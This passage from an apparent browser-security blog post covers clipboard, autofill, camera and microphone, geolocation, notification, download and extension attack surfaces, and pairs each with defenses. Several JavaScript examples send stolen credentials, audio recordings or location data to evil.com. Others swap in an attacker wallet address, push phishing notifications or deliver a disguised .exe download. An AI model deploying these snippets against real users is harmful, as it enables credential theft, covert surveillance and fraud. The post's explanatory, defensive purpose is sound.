    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clipboardData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text/plain&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attacker_wallet_address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This exact attack has been used to steal millions in cryptocurrency.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;clipboard-read&lt;/code&gt; requires explicit user permission in modern browsers&lt;/li&gt;
&lt;li&gt;Permissions Policy: &lt;code&gt;clipboard-read=()&lt;/code&gt; disables it for embedded content&lt;/li&gt;
&lt;li&gt;Users should verify clipboard contents before sending crypto transactions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  9. Password Manager — Autofill as Attack Surface
&lt;/h2&gt;

&lt;p&gt;Password managers (built-in and third-party) autofill credentials based on origin matching. This creates multiple attack vectors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Credential Phishing via Hidden Forms
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Visible login form --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Username"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Hidden form — autofill populates both --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"steal"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"display:none"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"current-password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some password managers autofill all matching fields, including hidden ones.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cross-Origin Autofill Leakage
&lt;/h3&gt;

&lt;p&gt;Older password manager browser extensions matched domains loosely. &lt;code&gt;app.com&lt;/code&gt; and &lt;code&gt;evil-app.com&lt;/code&gt; might both receive autofill for &lt;code&gt;app.com&lt;/code&gt; credentials depending on the extension logic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Credential Harvesting via XSS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// If autofill has populated the form, read it immediately&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input[type=email]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;pass&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input[type=password]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Users don't realize the password is already in the DOM as soon as the page loads with autofill.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;autocomplete="off"&lt;/code&gt; is largely ignored by modern browsers (by design)&lt;/li&gt;
&lt;li&gt;Ensure your login forms are only served over HTTPS on your own origin&lt;/li&gt;
&lt;li&gt;Implement CSP to limit where data can be sent&lt;/li&gt;
&lt;li&gt;Subresource Integrity for any third-party scripts near login forms&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  10. Camera &amp;amp; Microphone — Silent Sensors
&lt;/h2&gt;

&lt;p&gt;Both require explicit user permission, gated behind browser prompts. But once permission is granted, it persists — and any JS on that origin can invoke it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Silent audio recording after permission is granted&lt;/span&gt;
&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mediaDevices&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getUserMedia&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;audio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;recorder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;MediaRecorder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;chunks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ondataavailable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onstop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Exfiltrate recording&lt;/span&gt;
    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/audio&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;blob&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 5 seconds&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A compromised webpage, browser extension, or XSS payload that runs on a site that has camera permission (video conferencing, medical portal) can do this silently.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permissions-Policy: camera=(), microphone=()&lt;/code&gt; — disable for pages that don't need it&lt;/li&gt;
&lt;li&gt;Revoke permissions for sites you no longer trust (browser settings)&lt;/li&gt;
&lt;li&gt;Physical camera covers are still valid security controls&lt;/li&gt;
&lt;li&gt;Browser indicator lights (on most hardware) do show camera/mic access — but not always visibly&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  11. Geolocation — Precise Physical Tracking
&lt;/h2&gt;

&lt;p&gt;Geolocation permission grants access to the user's physical coordinates — often GPS-accurate on mobile.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;geolocation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;watchPosition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/track&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;latitude&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;lng&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;longitude&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;accuracy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accuracy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;enableHighAccuracy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;watchPosition&lt;/code&gt; continuously reports location changes. A compromised site with geolocation permission is a passive tracker.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permissions-Policy: geolocation=(self)&lt;/code&gt; — restrict to own origin only&lt;/li&gt;
&lt;li&gt;Prefer &lt;code&gt;getCurrentPosition&lt;/code&gt; (one-time) over &lt;code&gt;watchPosition&lt;/code&gt; (continuous)&lt;/li&gt;
&lt;li&gt;Users should grant geolocation only on demand, not persistently&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  12. Notifications — The Browser Phishing Channel
&lt;/h2&gt;

&lt;p&gt;Push notifications are the legitimate use case. But the same channel is abused for persistent phishing.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Flow
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;User visits sketchy site&lt;/li&gt;
&lt;li&gt;"Click Allow to continue watching" — social engineering the permission&lt;/li&gt;
&lt;li&gt;Site registers a service worker with a push subscription&lt;/li&gt;
&lt;li&gt;Now delivers phishing notifications &lt;strong&gt;forever&lt;/strong&gt;, even when the site isn't open&lt;/li&gt;
&lt;li&gt;Notifications can link to credential-harvesting pages with bank logos
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// After permission granted, notification content is attacker-controlled&lt;/span&gt;
&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;registration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Your bank account needs attention&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Unusual activity detected. Click to verify.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/bank-logo.png&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/phish&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permissions-Policy: notifications=()&lt;/code&gt; — block in iframes&lt;/li&gt;
&lt;li&gt;Users: review and revoke notification permissions regularly&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;chrome://settings/content/notifications&lt;/code&gt; / Firefox equivalent&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;connect-src&lt;/code&gt; can limit where push subscriptions connect&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  13. Downloads — Malware Delivery Vector
&lt;/h2&gt;

&lt;p&gt;The browser's download mechanism can be triggered programmatically, with attacker-controlled filename and content.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Programmatic download — attacker controls filename and content&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data:application/octet-stream;base64,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;maliciousPayload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;download&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invoice-2024.pdf.exe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Double extension trick&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Combine this with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A drive-by download triggered by a compromised ad&lt;/li&gt;
&lt;li&gt;A filename that exploits OS extension hiding (&lt;code&gt;invoice.pdf\u202e.exe&lt;/code&gt; — RTL override character)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Content-Disposition: attachment; filename=update.exe&lt;/code&gt; from a compromised CDN&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt; — prevents MIME-type sniffing&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;default-src&lt;/code&gt; limits what origins can deliver resources&lt;/li&gt;
&lt;li&gt;Download directory monitoring in EDR/endpoint solutions&lt;/li&gt;
&lt;li&gt;Educate users: legitimate invoices don't come as &lt;code&gt;.exe&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  14. Extensions — Privileged Strangers in the Browser
&lt;/h2&gt;

&lt;p&gt;Browser extensions run in an elevated context. They can read every page, intercept network requests, modify the DOM, and access storage across origins. They bypass SOP entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Surface
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Malicious extension&lt;/strong&gt; masquerading as legitimate (fake ad blocker with 2M installs)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromised legitimate extension&lt;/strong&gt; via acquired developer account&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extension with overly broad permissions&lt;/strong&gt; exploited via a vulnerability in the extension itself
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// A malicious extension content script can:&lt;/span&gt;
&lt;span class="nx"&gt;chrome&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tabs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onUpdated&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addListener&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;tabId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;changeInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;changeInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;complete&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bank.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;chrome&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scripting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;executeScript&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;tabId&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;func&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Running on bank.com with full DOM access&lt;/span&gt;
        &lt;span class="c1"&gt;// Bypasses CSP if injected by extension&lt;/span&gt;
        &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;submit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
